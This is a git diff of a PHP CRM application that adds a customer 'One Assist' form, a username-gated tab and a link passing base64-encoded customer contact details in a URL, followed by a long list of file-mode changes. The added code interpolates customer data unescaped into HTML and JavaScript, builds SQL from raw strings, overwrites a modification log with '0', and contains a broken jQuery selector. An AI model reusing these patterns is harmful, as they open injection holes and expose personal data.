| 2913 | postdata+='&transfer_memo='+encodeURIComponent(transfer_memo); | 2985 | |
| 2914 | postdata+='&address='+encodeURIComponent(address); | 2986 | |
| 2915 | 2987 | ||
| 2916 | doAjax('leadentryform',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | 2988 | doAjax('leadentryform',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); |
| 2989 | } | ||
| 2990 | |||
| 2917 | }); | 2991 | }); |
| 2918 | 2992 | ||
| 2919 | </script> | 2993 | </script> |
| ... | @@ -3334,6 +3408,113 @@ function createRLP() | ... | @@ -3334,6 +3408,113 @@ function createRLP() |
| 3334 | 3408 | ||
| 3335 | } | 3409 | } |
| 3336 | 3410 | ||
| 3411 | function createOneAssistForm() | ||
| 3412 | { | ||
| 3413 | $dataarr=$this->recruitdata["peopledata"]; | ||
| 3414 | $data="<div style='clear:both;margin:2% 0 0 1%;border-style: dotted solid dashed;padding:2%'> | ||
| 3415 | <h5>One Assist Form</h5> | ||
| 3416 | <hr/><br> | ||
| 3417 | |||
| 3418 | <div style='clear:both;width:100%;'> | ||
| 3419 | <div style='width:49%;float:left'> | ||
| 3420 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Customer Name</label> | ||
| 3421 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['firstname']."' id='customer_name'> | ||
| 3422 | </div> | ||
| 3423 | <div style='width:49%;float:left'> | ||
| 3424 | <label class='label-small_new' style='width:29%;font-weight:bold;'>Mobile Number</label> | ||
| 3425 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['mobile']."' id='mobile'> | ||
| 3426 | </div> | ||
| 3427 | </div> | ||
| 3428 | <br><br> | ||
| 3429 | <div style='clear:both;width:100%;'> | ||
| 3430 | <div style='width:49%;float:left'> | ||
| 3431 | <label class='label-small_new' style='width:29%;font-weight:bold;'>COD_CUST</label> | ||
| 3432 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['clientcode']."' id='clientcode'> | ||
| 3433 | </div> | ||
| 3434 | <div style='width:49%;float:left'> | ||
| 3435 | <label class='label-small_new' style='width:29%;font-weight:bold;'>UCIC_ID</label> | ||
| 3436 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['clientcode']."' id='ucicid_clientcode'> | ||
| 3437 | </div> | ||
| 3438 | </div> | ||
| 3439 | <br><br> | ||
| 3440 | <div style='clear:both;width:100%;'> | ||
| 3441 | <div style='width:49%;float:left'> | ||
| 3442 | <label class='label-small_new' style='width:29%;font-weight:bold;'>PB CODE</label> | ||
| 3443 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['client']."' id='client'> | ||
| 3444 | </div> | ||
| 3445 | <div style='width:49%;float:left'> | ||
| 3446 | <label class='label-small_new' style='width:29%;font-weight:bold;'>UNIT</label> | ||
| 3447 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['Unit']."' id='unit'> | ||
| 3448 | </div> | ||
| 3449 | </div> | ||
| 3450 | <br><br> | ||
| 3451 | <div style='clear:both;width:100%;'> | ||
| 3452 | <div style='width:49%;float:left'> | ||
| 3453 | <label class='label-small_new' style='width:29%;font-weight:bold;'>EMAIL1</label> | ||
| 3454 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='".$dataarr['emailid']."' id='emailid'> | ||
| 3455 | </div> | ||
| 3456 | <div style='width:49%;float:left'> | ||
| 3457 | <label class='label-small_new' style='width:29%;font-weight:bold;'>CUST REMARKS</label> | ||
| 3458 | <input type='text' class='form_new form_new_amend' style='width:50%;border: 2px solid;' value='' id='cust_remarks'> | ||
| 3459 | </div> | ||
| 3460 | </div> | ||
| 3461 | <br><br> | ||
| 3462 | |||
| 3463 | <br><br> | ||
| 3464 | <div style='clear:both;width:100%;'> | ||
| 3465 | <div> | ||
| 3466 | <label class='label-small_new' style='width:14%;font-weight:bold;'>AGENT REMARKS</label> | ||
| 3467 | <textarea class='form_new form_new_amend'style='width:74%;border: 2px solid;' maxlength='512' id='agent_remarks' rows='4'></textarea> | ||
| 3468 | </div> | ||
| 3469 | </div> | ||
| 3470 | <br><br> | ||
| 3471 | <div style='clear:both;width:100%;'> | ||
| 3472 | <input type='button' class='btn btn-default btn-md' style='margin-left:40%;font-weight:bold;' value='Save' id='oneassistformSave'> | ||
| 3473 | </div> | ||
| 3474 | </div> | ||
| 3475 | |||
| 3476 | <script> | ||
| 3477 | |||
| 3478 | |||
| 3479 | |||
| 3480 | $('#oneassistformSave').click(function() | ||
| 3481 | { | ||
| 3482 | |||
| 3483 | var customer_name = $('#customer_name').val(); | ||
| 3484 | var clientcode = $('#clientcode).val(); | ||
| 3485 | var ucicid_clientcode = $('#ucicid_clientcode').val(); | ||
| 3486 | var mobile = $('#mobile').val(); | ||
| 3487 | var client = $('#client').val(); | ||
| 3488 | var unit = $('#unit').val(); | ||
| 3489 | var emailid = $('#emailid').val(); | ||
| 3490 | var cust_remarks = $('#cust_remarks').val(); | ||
| 3491 | var agent_remarks = $('#agent_remarks').val(); | ||
| 3492 | |||
| 3493 | |||
| 3494 | |||
| 3495 | var postdata='varid='+$('#varid').val(); | ||
| 3496 | postdata+='&mobile='+'".$dataarr["mobile"]."'; | ||
| 3497 | postdata+='&client='+'".$dataarr["client"]."'; | ||
| 3498 | postdata+='&clientcode='+'".$dataarr["clientcode"]."'; | ||
| 3499 | postdata+='&customer_name='+'".$dataarr["firstname"]."'; | ||
| 3500 | postdata+='&ucicid_clientcode='+'".$dataarr["ucicid_clientcode"]."'; | ||
| 3501 | postdata+='&unit='+'".$dataarr["Unit"]."'; | ||
| 3502 | postdata+='&emailid='+'".$dataarr["emailid"]."'; | ||
| 3503 | postdata+='&cust_remarks='+encodeURIComponent(cust_remarks); | ||
| 3504 | postdata+='&agent_remarks='+encodeURIComponent(agent_remarks); | ||
| 3505 | |||
| 3506 | |||
| 3507 | doAjax('oaentryform',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | ||
| 3508 | |||
| 3509 | |||
| 3510 | }); | ||
| 3511 | |||
| 3512 | </script> | ||
| 3513 | "; | ||
| 3514 | |||
| 3515 | return $data; | ||
| 3516 | |||
| 3517 | } | ||
| 3337 | function colorCodeRec($id) | 3518 | function colorCodeRec($id) |
| 3338 | { | 3519 | { |
| 3339 | $fdirty=$this->recruitdata["dirty"]; | 3520 | $fdirty=$this->recruitdata["dirty"]; |
| ... | @@ -3398,7 +3579,10 @@ function CreateForm(&$frm) | ... | @@ -3398,7 +3579,10 @@ function CreateForm(&$frm) |
| 3398 | //{ | 3579 | //{ |
| 3399 | $frm['Lead Entry Form']["{{id}} {{firstname}}"][]=array(); | 3580 | $frm['Lead Entry Form']["{{id}} {{firstname}}"][]=array(); |
| 3400 | $frm['RLP']["{{id}} {{firstname}}"][]=array(); | 3581 | $frm['RLP']["{{id}} {{firstname}}"][]=array(); |
| 3401 | //} | 3582 | if(Auth::user()->username =="B654321" || Auth::user()->username =="B12345") |
| 3583 | { | ||
| 3584 | $frm['One Assist']["{{id}} {{firstname}}"][]=array(); | ||
| 3585 | } | ||
| 3402 | } | 3586 | } |
| 3403 | } | 3587 | } |
| 3404 | 3588 | ||
| ... | @@ -3467,6 +3651,7 @@ function CreateForm(&$frm) | ... | @@ -3467,6 +3651,7 @@ function CreateForm(&$frm) |
| 3467 | if($tbname=='Racing Format')$tabsdata.=$this->createRacingCust(); | 3651 | if($tbname=='Racing Format')$tabsdata.=$this->createRacingCust(); |
| 3468 | if($tbname=='Lead Entry Form')$tabsdata.=$this->createLeadEntryForm(); | 3652 | if($tbname=='Lead Entry Form')$tabsdata.=$this->createLeadEntryForm(); |
| 3469 | if($tbname=='RLP')$tabsdata.=$this->createRLP(); | 3653 | if($tbname=='RLP')$tabsdata.=$this->createRLP(); |
| 3654 | if($tbname=='One Assist')$tabsdata.=$this->createOneAssistForm(); | ||
| 3470 | $tabsdata.="</div>"; | 3655 | $tabsdata.="</div>"; |
| 3471 | $i++; | 3656 | $i++; |
| 3472 | } | 3657 | } |
| ... | @@ -3498,8 +3683,9 @@ function CreateForm(&$frm) | ... | @@ -3498,8 +3683,9 @@ function CreateForm(&$frm) |
| 3498 | } | 3683 | } |
| 3499 | if(!$this->isuser)$hrexclusiveflag=0; | 3684 | if(!$this->isuser)$hrexclusiveflag=0; |
| 3500 | 3685 | ||
| 3501 | $recordDetails = DB::table('records')->where('id','=',$varid)->select('mf_isa')->get(); | 3686 | $recordDetails = DB::table('records')->where('id','=',$varid)->select('mf_isa','emailid')->get(); |
| 3502 | $priority = $recordDetails[0]->mf_isa; | 3687 | $priority = $recordDetails[0]->mf_isa; |
| 3688 | $emailid = $recordDetails[0]->emailid; | ||
| 3503 | 3689 | ||
| 3504 | $data=" <div id=recdialog></div><br><input type=hidden name='id' id='id' value='".$this->varid."'> | 3690 | $data=" <div id=recdialog></div><br><input type=hidden name='id' id='id' value='".$this->varid."'> |
| 3505 | <input type=hidden name='workflowstatus' id='workflowstatus' value='".$this->recruitdata["peopledata"]["workflowstatus"]."'> | 3691 | <input type=hidden name='workflowstatus' id='workflowstatus' value='".$this->recruitdata["peopledata"]["workflowstatus"]."'> |
| ... | @@ -3530,6 +3716,8 @@ function CreateForm(&$frm) | ... | @@ -3530,6 +3716,8 @@ function CreateForm(&$frm) |
| 3530 | if (typeof kSetDData === 'function')kSetDData('C','crmid',".$this->varid."); | 3716 | if (typeof kSetDData === 'function')kSetDData('C','crmid',".$this->varid."); |
| 3531 | }); | 3717 | }); |
| 3532 | </script>"; | 3718 | </script>"; |
| 3719 | $data.="<a href='product.php?userid=".base64_encode(Auth::user()->id)."&cust_name=".base64_encode($this->recruitdata["peopledata"]['firstname'])." | ||
| 3720 | &cust_id=".base64_encode($this->recruitdata["peopledata"]['clientcode'])."&mobile_number=".base64_encode($this->recruitdata["peopledata"]['mobile'])."&emailid=".base64_encode($emailid)."'target='_blank'><input type=button class='btn btn-green' value='DAP DATA' ></a>"; | ||
| 3533 | 3721 | ||
| 3534 | if($this->isuser&&$this->edituser)//&&$this->recruitdata["peopledata"]['currentstatus']!=$wakka->HRCoreVars["systemExitStatus"] | 3722 | if($this->isuser&&$this->edituser)//&&$this->recruitdata["peopledata"]['currentstatus']!=$wakka->HRCoreVars["systemExitStatus"] |
| 3535 | { | 3723 | { | ... | ... |
application/app/Jobs/KFriendLib.php
100755 → 100644
File mode changed
application/app/Jobs/KHRMSLib.php
100755 → 100644
| ... | @@ -1025,7 +1025,7 @@ function popMail($userid) | ... | @@ -1025,7 +1025,7 @@ function popMail($userid) |
| 1025 | $this->setComment($setComntArr['clientcode'],$setComntArr); | 1025 | $this->setComment($setComntArr['clientcode'],$setComntArr); |
| 1026 | } | 1026 | } |
| 1027 | 1027 | ||
| 1028 | return $this->Query("update records set modified=now(),peopledata='$quoteP',modifylog='$quoteM',dirty='$quoteD' $cachestr where id='$empid' limit 1"); | 1028 | return $this->Query("update records set modified=now(),peopledata='$quoteP',modifylog='0',dirty='$quoteD' $cachestr where id='$empid' limit 1"); |
| 1029 | } | 1029 | } |
| 1030 | } | 1030 | } |
| 1031 | else return -1; | 1031 | else return -1; |
| ... | @@ -1148,6 +1148,19 @@ function popMail($userid) | ... | @@ -1148,6 +1148,19 @@ function popMail($userid) |
| 1148 | { | 1148 | { |
| 1149 | return $this->LoadAll("select id from records where $wheresql"); | 1149 | return $this->LoadAll("select id from records where $wheresql"); |
| 1150 | } | 1150 | } |
| 1151 | function getPersonshome($wheresql) | ||
| 1152 | { | ||
| 1153 | $sqlarr=""; | ||
| 1154 | foreach($this->cachearray as $cachekey) | ||
| 1155 | { | ||
| 1156 | if($cachekey!='') | ||
| 1157 | { | ||
| 1158 | $sqlarr.=" ,`$cachekey`"; | ||
| 1159 | } | ||
| 1160 | } | ||
| 1161 | |||
| 1162 | return $this->LoadAll("select id".$sqlarr." from records where $wheresql;"); | ||
| 1163 | } | ||
| 1151 | function getPersons($wheresql) | 1164 | function getPersons($wheresql) |
| 1152 | { | 1165 | { |
| 1153 | $sqlarr=""; | 1166 | $sqlarr=""; | ... | ... |
application/app/Jobs/KPAGIListen.php
100755 → 100644
File mode changed
application/app/Jobs/KPAMIListen.php
100755 → 100644
File mode changed
application/app/Jobs/KPushNotify.php
100755 → 100644
File mode changed
application/app/Jobs/KSocialLib.php
100755 → 100644
File mode changed
application/app/Jobs/ab_KFormLib.php
0 → 100755
This diff could not be displayed because it is too large.
application/app/Jobs/b_KFormLib.php
0 → 100755
This diff could not be displayed because it is too large.
application/app/Jobs/testttt_KPAMIListen.php
100755 → 100644
File mode changed
application/app/Listeners/.gitkeep
100755 → 100644
File mode changed
application/app/Listeners/Commands/.gitkeep
100755 → 100644
File mode changed
application/app/Listeners/Events/.gitkeep
100755 → 100644
File mode changed
application/app/Listeners/Events/QueryHandler.php
100755 → 100644
File mode changed
application/app/Models/Accesslog.php
100755 → 100644
File mode changed
application/app/Models/CRM.php
100755 → 100644
File mode changed
application/app/Models/CRMCall.php
100755 → 100644
File mode changed
application/app/Models/CRMCallArchive.php
100755 → 100644
File mode changed
application/app/Models/CRMCampaign.php
100755 → 100644
File mode changed
application/app/Models/CRMList.php
100755 → 100644
File mode changed
application/app/Models/Communitie.php
100755 → 100644
File mode changed
application/app/Models/Contenttag.php
100755 → 100644
File mode changed
application/app/Models/Dialline.php
100755 → 100644
File mode changed
application/app/Models/Educourse.php
100755 → 100644
File mode changed
application/app/Models/Educourserun.php
100755 → 100644
File mode changed
application/app/Models/FormStatusLog.php
100755 → 100644
File mode changed
application/app/Models/Friend.php
100755 → 100644
File mode changed
application/app/Models/Group.php
100755 → 100644
File mode changed
application/app/Models/Kqueue.php
100755 → 100644
File mode changed
application/app/Models/Master.php
100755 → 100644
File mode changed
application/app/Models/Message.php
100755 → 100644
File mode changed
application/app/Models/Notification.php
100755 → 100644
File mode changed
application/app/Models/Post.php
100755 → 100644
File mode changed
application/app/Models/Rating.php
100755 → 100644
File mode changed
application/app/Models/Record.php
100755 → 100644
File mode changed
| ... | @@ -7,6 +7,6 @@ class RelationshipSubCategory extends Model{ | ... | @@ -7,6 +7,6 @@ class RelationshipSubCategory extends Model{ |
| 7 | 7 | ||
| 8 | protected $table = 'relationship_sub_category'; | 8 | protected $table = 'relationship_sub_category'; |
| 9 | 9 | ||
| 10 | protected $fillable = ['category_id','title']; | 10 | protected $fillable = ['category_id','title','status']; |
| 11 | 11 | ||
| 12 | } | 12 | } | ... | ... |
application/app/Models/Role.php
100755 → 100644
File mode changed
application/app/Models/Session.php
100755 → 100644
File mode changed
application/app/Models/Sipid.php
100755 → 100644
File mode changed
application/app/Models/SupervisonComments.php
100755 → 100644
File mode changed
application/app/Models/Task.php
100755 → 100644
File mode changed
application/app/Models/User.php
100755 → 100644
File mode changed
application/app/Models/UserLog.php
100755 → 100644
File mode changed
application/app/Providers/AppServiceProvider.php
100755 → 100644
File mode changed
application/app/Providers/AuthServiceProvider.php
100755 → 100644
File mode changed
application/app/Providers/EventServiceProvider.php
100755 → 100644
File mode changed
application/app/Providers/RouteServiceProvider.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/.gitattributes
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/.gitignore
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/AlphaValue.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/Background.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/Composite.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/FontFamily.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/ListStyle.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/Multiple.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/Percentage.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/HTML/MultiLength.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/Background.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/BdoDir.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/BgColor.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/BoolToCSS.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/Border.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/EnumToCSS.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/ImgRequired.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/ImgSpace.php
100755 → 100644
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/Length.php
100755 → 100644
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/NameSync.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/Nofollow.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/SafeEmbed.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/SafeObject.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/SafeParam.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/ScriptRequired.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/TargetBlank.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/AttrTransform/Textarea.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ChildDef/StrictBlockquote.php
100755 → 100644
File mode changed
File mode changed
File mode changed
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Builder/Xml.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Exception.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Interchange.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Interchange/Id.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/Validator.php
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php
100755 → 100644
File mode changed
No preview for this file type
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txt
100755 → 100644
File mode changed
application/app/lib/htmlpurifier-4.6.0/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txt
100755 → 100644
File mode changed
